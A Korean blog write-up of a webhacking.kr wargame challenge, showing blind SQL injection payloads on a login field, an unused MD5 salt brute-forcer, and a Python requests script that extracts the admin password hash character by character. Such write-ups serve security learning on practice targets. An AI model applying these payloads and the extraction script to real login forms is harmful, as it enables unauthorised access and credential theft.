Admin으로 로그인하는게 이번 문제의 미션이다.

 

혹시 guest 계정도 있을 것을 같아서 guest/guest로 로그인 시도하니, Login Fail이 출력되었다.

 

admin/admin으로 로그인을 시도하니, 이번 역시 Login Fail이 출력되었다.

 

이번엔 SQLi를 시도하니, 패스워드가 틀렸다고 출력되었다.

 

False를 삽입하면 어떻게 되는지 궁금하여, admin' and 1=0#를 넣어서 시도하였다.

True의 값과 다른 출력을 볼 수 있었다. 이것을 이용하여 Blind SQLi를 시도할 수 있을 것 같다.

로그인이 성공하면 어떤 결과가 나오는지 궁금하여, Join 페이지에 들어가서 lrtk/lrtk으로 계정을 만들었다.

 

로그인을 해보니, 패스워드의 해시값이 출력됐다.

해당 해시의 길이가 32 글자로, lrtk 계정의 패스워드가 MD5로 해시화를 한 것으로 판단된다.

Lrtk 계정의 패스워드인 lrtk을 MD5로 해시화를 진행하니 문제 페이지에서 출력된 해시와 틀린 값을 볼 수 있었다.

아마 salt를 넣어준 것으로 생각하였다.

 

해당 MD5를 복호화하려고 복호화 사이트들을 들어가서 넣어보니, 모두 DB에 저장이 안된 값이라는 출력만 볼 수 있었다.

그래서 나는 salt값을 구하기 위해 python으로 hash값을 구하였다.

 

import string, itertools, hashlib, pprint
from multiprocessing import Pool, cpu_count

text = 'lrtk'

def saltFront(salts):
    for item in salts:
        salt = ''
        for idx in range(len(item)):
            salt += item[idx]
        md5 = hashlib.md5()
        md5.update((salt + text).encode())
        md5Text = md5.hexdigest()
        print(f'{md5Text} >>> {salt + text}')

def saltEnd(salts):
    for item in salts:
        salt = ''
        for idx in range(len(item)):
            salt += item[idx]
        md5 = hashlib.md5()
        md5.update((text + salt).encode())
        md5Text = md5.hexdigest()
        print(f'{md5Text} >>> {text + salt}')

if __name__== '__main__':
    cores = cpu_count()

    for count in range(1, 10+1):
        salts = list(itertools.permutations(list(string.ascii_lowercase + string.punctuation), count))

        with Pool(cores) as p:
            hashing1 = p.map(saltFront, salts)
            hashing2 = p.map(saltEnd, salts)

30분 정도 돌리고 있는데 시간이 너무 아까워서 다른 시도라도 해보자라는 생각에 guest/guest으로 계정을 만들고, guest의 해시를 복호화 사이트에 돌려보니 DB에 저장되어있었다.

코딩한 노력이 물거품이 되었다…..

 

Salt 값을 알았으니, admin의 hash를 구해서 복호화를 시키겠다.

import requests, string
from bs4 import BeautifulSoup as bs

def pwPrint(url:str):
    pw =''
    data = {}
    for idx in range(1, 32+1):
        for s in string.ascii_lowercase + string.digits:
            data['uuid'] = f"admin' and substr(pw, {idx}, 1)='{s}'#"
            res = requests.post(url, data=data)
            if 'Wrong password!'in res.text:
                pw += s
                break

        print(f'{idx}번째 완료 >>>', pw)
    print('완료 >>>', pw)

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/bonus-2/index.php'
    pwPrint(url)

해당 결과를 얻을 수 있었다.

 

MD5를 복호화를 통해 admin의 비밀번호는 wow라는 것을 알 수 있었다.

 

Admin으로 로그인을 하니, Flag를 획득할 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 40 Write Up  (0) 2021.06.08
[Webhacking.kr] Old - 28 Write Up  (0) 2021.06.07
[Webhacking.kr] Old - 2 Write Up  (0) 2021.06.04
[Webhacking.kr] Old - 50 Write Up  (0) 2021.06.03
[Webhacking.kr] Old - 55 Write Up  (0) 2021.06.02
복사했습니다!